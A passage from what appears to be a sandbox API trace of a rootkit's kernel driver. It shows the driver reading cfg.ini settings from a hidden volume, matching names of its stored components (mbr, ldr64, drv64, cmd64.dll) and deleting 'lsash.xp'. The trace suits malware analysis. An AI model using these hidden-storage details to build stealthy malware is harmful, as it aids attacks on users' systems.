_Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.407] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.407] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7d00 [0125.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.407] KeLeaveCriticalRegion () [0125.407] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.407] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.407] KeEnterCriticalRegion () [0125.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.407] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.407] KeLeaveCriticalRegion () [0125.408] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.408] KeEnterCriticalRegion () [0125.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.408] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.408] IdePortDispatch () returned 0x103 [0125.408] KeWaitForMutexObject () returned 0x0 [0125.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.408] KeLeaveCriticalRegion () [0125.408] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.408] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.408] KeEnterCriticalRegion () [0125.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.408] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c49000 [0125.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.408] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.408] IdePortDispatch () returned 0x103 [0125.408] KeWaitForMutexObject () returned 0x0 [0125.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.408] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.408] IdePortDispatch () returned 0x103 [0125.409] KeWaitForMutexObject () returned 0x0 [0125.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.409] KeLeaveCriticalRegion () [0125.409] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.409] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.409] KeEnterCriticalRegion () [0125.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.409] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.409] KeLeaveCriticalRegion () [0125.410] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.410] KeEnterCriticalRegion () [0125.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.410] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.410] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.410] KeLeaveCriticalRegion () [0125.410] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.410] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.410] KeEnterCriticalRegion () [0125.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.410] ExFreePoolWithTag (P=0xfffffa8003bf7d00, Tag=0x0) [0125.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.410] KeLeaveCriticalRegion () [0125.410] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.410] ReleaseMutex (hMutex=0xf0) returned 1 [0125.410] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.416] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.416] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.416] KeEnterCriticalRegion () [0125.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.416] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.416] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.416] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.416] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.416] IdePortDispatch () returned 0x103 [0125.416] KeWaitForMutexObject () returned 0x0 [0125.416] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.416] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.416] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.416] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.416] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.416] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf76c0 [0125.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.416] KeLeaveCriticalRegion () [0125.416] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.416] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.416] KeEnterCriticalRegion () [0125.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.416] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.417] KeLeaveCriticalRegion () [0125.417] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.417] KeEnterCriticalRegion () [0125.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.417] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.417] IdePortDispatch () returned 0x103 [0125.417] KeWaitForMutexObject () returned 0x0 [0125.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.417] KeLeaveCriticalRegion () [0125.417] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.417] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.417] KeEnterCriticalRegion () [0125.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.417] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4c000 [0125.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.417] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.417] IdePortDispatch () returned 0x103 [0125.417] KeWaitForMutexObject () returned 0x0 [0125.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.417] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.417] IdePortDispatch () returned 0x103 [0125.418] KeWaitForMutexObject () returned 0x0 [0125.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.418] KeLeaveCriticalRegion () [0125.418] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.418] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.418] KeEnterCriticalRegion () [0125.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.418] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.418] KeLeaveCriticalRegion () [0125.418] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.418] KeEnterCriticalRegion () [0125.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.418] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.418] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.418] KeLeaveCriticalRegion () [0125.418] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.418] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.419] KeEnterCriticalRegion () [0125.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.419] ExFreePoolWithTag (P=0xfffffa8003bf76c0, Tag=0x0) [0125.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.419] KeLeaveCriticalRegion () [0125.419] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.419] ReleaseMutex (hMutex=0xf0) returned 1 [0125.419] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.419] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.419] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.419] KeEnterCriticalRegion () [0125.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.419] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.419] IdePortDispatch () returned 0x103 [0125.419] KeWaitForMutexObject () returned 0x0 [0125.419] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.419] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.419] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.419] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.419] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.419] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7d00 [0125.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.419] KeLeaveCriticalRegion () [0125.419] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.419] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.419] KeEnterCriticalRegion () [0125.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.419] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.419] KeLeaveCriticalRegion () [0125.419] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.419] KeEnterCriticalRegion () [0125.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.420] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.420] IdePortDispatch () returned 0x103 [0125.420] KeWaitForMutexObject () returned 0x0 [0125.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.420] KeLeaveCriticalRegion () [0125.420] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.420] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.420] KeEnterCriticalRegion () [0125.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.420] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4d000 [0125.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.420] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.420] IdePortDispatch () returned 0x103 [0125.420] KeWaitForMutexObject () returned 0x0 [0125.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.420] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.420] IdePortDispatch () returned 0x103 [0125.420] KeWaitForMutexObject () returned 0x0 [0125.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.421] KeLeaveCriticalRegion () [0125.421] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.421] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.421] KeEnterCriticalRegion () [0125.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.421] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.421] KeLeaveCriticalRegion () [0125.421] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.421] KeEnterCriticalRegion () [0125.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.421] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.421] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.421] KeLeaveCriticalRegion () [0125.421] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.421] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.421] KeEnterCriticalRegion () [0125.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.421] ExFreePoolWithTag (P=0xfffffa8003bf7d00, Tag=0x0) [0125.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.421] KeLeaveCriticalRegion () [0125.421] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.421] ReleaseMutex (hMutex=0xf0) returned 1 [0125.421] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.422] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.422] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.422] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.422] KeEnterCriticalRegion () [0125.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.422] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.422] IdePortDispatch () returned 0x103 [0125.422] KeWaitForMutexObject () returned 0x0 [0125.422] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.422] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.422] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.422] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.422] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.422] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.422] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.422] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.422] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.422] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.422] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.422] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.422] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.422] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.422] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.422] KeLeaveCriticalRegion () [0125.422] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.422] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.422] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.422] KeEnterCriticalRegion () [0125.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.422] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.422] IdePortDispatch () returned 0x103 [0125.423] KeWaitForMutexObject () returned 0x0 [0125.423] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.423] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.423] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.423] _strnicmp (_Str1="ldr32", _Str="lsash.xp", 